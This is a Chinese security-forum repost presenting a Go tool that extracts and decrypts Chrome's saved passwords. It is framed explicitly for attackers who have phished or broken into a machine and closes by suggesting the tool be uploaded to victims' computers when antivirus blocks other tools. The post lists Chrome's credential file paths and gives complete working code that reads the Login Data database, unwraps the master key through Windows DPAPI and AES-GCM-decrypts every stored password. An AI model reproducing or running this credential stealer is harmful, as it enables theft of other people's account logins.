安全矩阵

 找回密码
 立即注册
搜索
查看: 195|回复: 0

chrome浏览器密码解密工具

[复制链接]

81

主题

82

帖子

341

积分

中级会员

Rank: 3Rank: 3

积分
341
发表于 2022-6-27 00:47:29 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-6-27 00:50 编辑

chrome浏览器密码解密工具
原创 暗月小徒弟 moonsec
2022-06-26 13:43 发表于广东
转载地址:chrome浏览器密码解密工具


chrome浏览器密码解密工具

1、前言
当我们钓鱼或者进入内网获得一台机器权限的时候,第一步是需要信息搜集的,其中一步就是抓取并解密浏览器密码,虽然后一款非常好用的HackBrowserData工具,
但是用的人多了也就开始被杀了。
这篇文章就是来了解一下如何去解密Chrome浏览器密码的抓取浏览器信息需要以下几个文件,这些文件存储了浏览器的信息,工具抓取也是去获取这些文件里面的信息。


2、过程
chrome 敏感文件存储位置
  1. chrome的登陆账号密码文件Login Data文件存储位置
  2. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Login Data
  3. chrome中存储加密key的位置
  4. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Local State
  5. chrome的cookie存储的位置:
  6. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Cookies
  7. chrome的浏览历史History存储位置:
  8. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\History
  9. chrome的收藏的书签存储位置:
  10. C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Bookmarks
复制代码

其中Cookies、History、Login Data是SQLite3数据库文件,可以使用sqlitestudio直接打开
Bookmarks是全明文的xml文件

Login Data文件是一个数据库文件,可以直接使用工具连接数据库。当chrome正在使用时,是不可连接的
  1. User\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data
复制代码





但是可以复制出来,再次进行连接。其他都是明文,密码字段是加密的

由于数据库使用的是sqlite3,使用golang脚本加载sqlite3库,进行连接,可正常查询数据​​​​​​​
  1. package main


  2. import (
  3.     "database/sql"
  4.     "fmt"
  5.     "log"
  6.     "os"
  7.    
  8.     _ "github.com/mattn/go-sqlite3"
  9. )


  10. var (
  11.     userPath, _ = os.UserHomeDir()
  12.     //保存的密码存到了logindata数据库sqlite
  13.     localData  string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  14.     localState string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  15.     temporary  string = "D:\\GoProject\\test\\Login Data"
  16. )


  17. type chromeDB struct {
  18.     Origin_url     string `json:"origin_url"`
  19.     Action_url     string `json:"action_url"`
  20.     Username_value string `json:"username_value"`
  21.     Password_value string `json:"password_value"`
  22. }


  23. func sqLite() {
  24.     var chrome chromeDB
  25.     db, err := sql.Open("sqlite3", temporary)
  26.     checkErr(err)
  27.     sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  28.     // stmt, err := db.Prepare(sql)
  29.     // checkErr(err)
  30.     //defer stmt.Close()
  31.     rows, err := db.Query(sql)
  32.     checkErr(err)
  33.     for rows.Next() {
  34.         err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)
  35.         checkErr(err)
  36.         fmt.Println(chrome.Action_url)
  37.     }
  38.    
  39. }


  40. func checkErr(err error) {
  41.     if err != nil {
  42.         log.Fatal(err)
  43.     }
  44. }


  45. func main() {
  46.     sqLite()
  47. }
复制代码


但是查询的密码是加密的,接下来需要对密码进行解密。

windows下的chrome使用的加密方法是AES加密,需要一个密钥就可以实现解密
在这个目录下的Local State文件存放了解密使用的KEY
user/AppData/Local/Google/Chrome/User Data/Local State
这个文件时json格式的,在encrypted_key参数对应的就是解密需要的key


chrome最新版在密钥加密后数据前缀是V10,在前面截图中可以看到。后12字节的字符才是真正的密文。Chrome使用的是AES-256-GCM的AEAD对称加密,
然后再另一款工具中找到了解密方法(hackBrowserData)。首先获取os_crypt.encrypted_key字段中的数据,然后经过base64解密,再去除首位5个字符DPAPI。
因为原始密钥加密的时候会带上APAPI前缀+base64编码然后存储到json文件
​​​​​​​
  1. func GetMasterKey() ([]byte, error) {
  2.   keyFile, err := ioutil.ReadFile(temporarykey)
  3.   if err != nil {
  4.     return nil, err
  5.   }
  6.   defer os.Remove(string(keyFile))
  7.   encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  8.   if encryptedKey.Exists() {
  9.     pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  10.     if err != nil {
  11.       return nil, errDecodeMasterKeyFailed
  12.     }
  13.     //去除首位5个字符DPAPI
  14.     masterKey, err := DPApi(pureKey[5:])


  15.     checkErr(err, "6")


  16.     return masterKey, err
  17.   }
  18.   return nil, nil
  19. }


  20. func DPApi(data []byte) ([]byte, error) {
  21.   dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  22.   dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  23.   procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  24.   procLocalFree := dllKernel.NewProc("LocalFree")
  25.   var outBlob dataBlob
  26.   r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  27.   if r == 0 {
  28.     return nil, err
  29.   }
  30.   defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  31.   return outBlob.ToByteArray(), nil
  32. }


  33. func NewBlob(d []byte) *dataBlob {
  34.   if len(d) == 0 {
  35.     return &dataBlob{}
  36.   }
  37.   return &dataBlob{
  38.     pbData: &d[0],
  39.     cbData: uint32(len(d)),
  40.   }
  41. }
复制代码
这样就获得了一个key。获得了key之后就使用aesGCMD解密。如下就是解密方法
  1. key,err := GetMasterKey()


  2. pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  3. func Chromium(key, encryptPass []byte) ([]byte, error) {
  4.   if len(encryptPass) > 15 {
  5.     // remove Prefix 'v10'
  6.     return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  7.   } else {
  8.     return nil, errPasswordIsEmpty
  9.   }
  10. }


  11. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  12.   block, err := aes.NewCipher(key)
  13.   if err != nil {
  14.     return nil, err
  15.   }
  16.   blockMode, err := cipher.NewGCM(block)
  17.   if err != nil {
  18.     return nil, err
  19.   }
  20.   origData, err := blockMode.Open(nil, nounce, crypted, nil)
  21.   if err != nil {
  22.     return nil, err
  23.   }
  24.   return origData, nil
  25. }
复制代码

有了key可解密方法之后就可以传入数据库中的密码和key进行解密,如下是完整的解密代码。可自行测试,
  1. package main


  2. import (
  3.   "crypto/aes"
  4.   "crypto/cipher"
  5.   "database/sql"
  6.   "encoding/base64"
  7.   "errors"
  8.   "fmt"
  9.   "io/ioutil"
  10.   "os"
  11.   "syscall"
  12.   "unsafe"


  13.   _ "github.com/mattn/go-sqlite3"
  14.   "github.com/tidwall/gjson"
  15. )


  16. var (
  17.   userPath, _ = os.UserHomeDir()
  18.   //保存的密码存到了logindata数据库sqlite
  19.   localData    string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data"
  20.   localState   string = userPath + "\\AppData\\Local\\Google\\Chrome\\User Data\\Local State"
  21.   //这里是我临时存放这两个文件的目录位置,当然也可以copy到指定目录
  22.     temporarydb  string = "C:\\Users\\admin\\Desktop\\test\\Login Data"
  23.   temporarykey string = "C:\\Users\\admin\\Desktop\\test\\Local State"
  24. )


  25. type chromeDB struct {
  26.   Origin_url     string `json:"origin_url"`
  27.   Action_url     string `json:"action_url"`
  28.   Username_value string `json:"username_value"`
  29.   Password_value string `json:"password_value"`
  30. }


  31. type dataBlob struct {
  32.   cbData uint32
  33.   pbData *byte
  34. }


  35. func sqLite() {
  36.   fmt.Println(localState)
  37.   var chrome chromeDB
  38.   db, err := sql.Open("sqlite3", temporarydb)
  39.   checkErr(err, "1")


  40.   sql := "SELECT origin_url,action_url, username_value, password_value FROM logins"
  41.   rows, err := db.Query(sql)


  42.   checkErr(err, "2")
  43.   for rows.Next() {


  44.     err = rows.Scan(&chrome.Origin_url, &chrome.Action_url, &chrome.Username_value, &chrome.Password_value)


  45.     checkErr(err, "3")
  46.     // fmt.Println(chrome.Password_value)
  47.     key, err := GetMasterKey()


  48.     checkErr(err, "4")
  49.     pass, err := Chromium([]byte(key), []byte(chrome.Password_value))


  50.     checkErr(err, "5")
  51.     fmt.Println(string(pass))
  52.   }
  53. }


  54. var (
  55.   errPasswordIsEmpty       = errors.New("password is empty")
  56.   errDecodeMasterKeyFailed = errors.New("decode master key failed")
  57. )


  58. func Chromium(key, encryptPass []byte) ([]byte, error) {
  59.   if len(encryptPass) > 15 {
  60.     // remove Prefix 'v10'
  61.     return aesGCMDecrypt(encryptPass[15:], key, encryptPass[3:15])
  62.   } else {
  63.     return nil, errPasswordIsEmpty
  64.   }
  65. }


  66. func GetMasterKey() ([]byte, error) {
  67.   keyFile, err := ioutil.ReadFile(temporarykey)
  68.   if err != nil {
  69.     return nil, err
  70.   }
  71.   defer os.Remove(string(keyFile))
  72.   encryptedKey := gjson.Get(string(keyFile), "os_crypt.encrypted_key")
  73.   if encryptedKey.Exists() {
  74.     pureKey, err := base64.StdEncoding.DecodeString(encryptedKey.String())
  75.     if err != nil {
  76.       return nil, errDecodeMasterKeyFailed
  77.     }
  78.     //去除首位5个字符DPAPI
  79.     masterKey, err := DPApi(pureKey[5:])


  80.     checkErr(err, "6")


  81.     return masterKey, err
  82.   }
  83.   return nil, nil
  84. }


  85. func NewBlob(d []byte) *dataBlob {
  86.   if len(d) == 0 {
  87.     return &dataBlob{}
  88.   }
  89.   return &dataBlob{
  90.     pbData: &d[0],
  91.     cbData: uint32(len(d)),
  92.   }
  93. }


  94. func (b *dataBlob) ToByteArray() []byte {
  95.   d := make([]byte, b.cbData)
  96.   copy(d, (*[1 << 30]byte)(unsafe.Pointer(b.pbData))[:])
  97.   return d
  98. }


  99. func DPApi(data []byte) ([]byte, error) {
  100.   dllCrypt := syscall.NewLazyDLL("Crypt32.dll")
  101.   dllKernel := syscall.NewLazyDLL("Kernel32.dll")
  102.   procDecryptData := dllCrypt.NewProc("CryptUnprotectData")
  103.   procLocalFree := dllKernel.NewProc("LocalFree")
  104.   var outBlob dataBlob
  105.   r, _, err := procDecryptData.Call(uintptr(unsafe.Pointer(NewBlob(data))), 0, 0, 0, 0, 0, uintptr(unsafe.Pointer(&outBlob)))
  106.   if r == 0 {
  107.     return nil, err
  108.   }
  109.   defer procLocalFree.Call(uintptr(unsafe.Pointer(outBlob.pbData)))
  110.   return outBlob.ToByteArray(), nil
  111. }


  112. func aesGCMDecrypt(crypted, key, nounce []byte) ([]byte, error) {
  113.   block, err := aes.NewCipher(key)
  114.   if err != nil {
  115.     return nil, err
  116.   }
  117.   blockMode, err := cipher.NewGCM(block)
  118.   if err != nil {
  119.     return nil, err
  120.   }
  121.   origData, err := blockMode.Open(nil, nounce, crypted, nil)
  122.   if err != nil {
  123.     return nil, err
  124.   }
  125.   return origData, nil
  126. }


  127. func checkErr(err error, str string) {
  128.   if err != nil {
  129.     fmt.Println(err, str)
  130.   }
  131. }


  132. func main() {


  133.   sqLite()
  134. }
复制代码

输出结果

如果你不会做免杀,那么就可以单独写一个解密工具,如遇到对方机器只有Chrome的时候,可以上传这个小工具






回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2022-8-13 14:55 , Processed in 0.010538 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表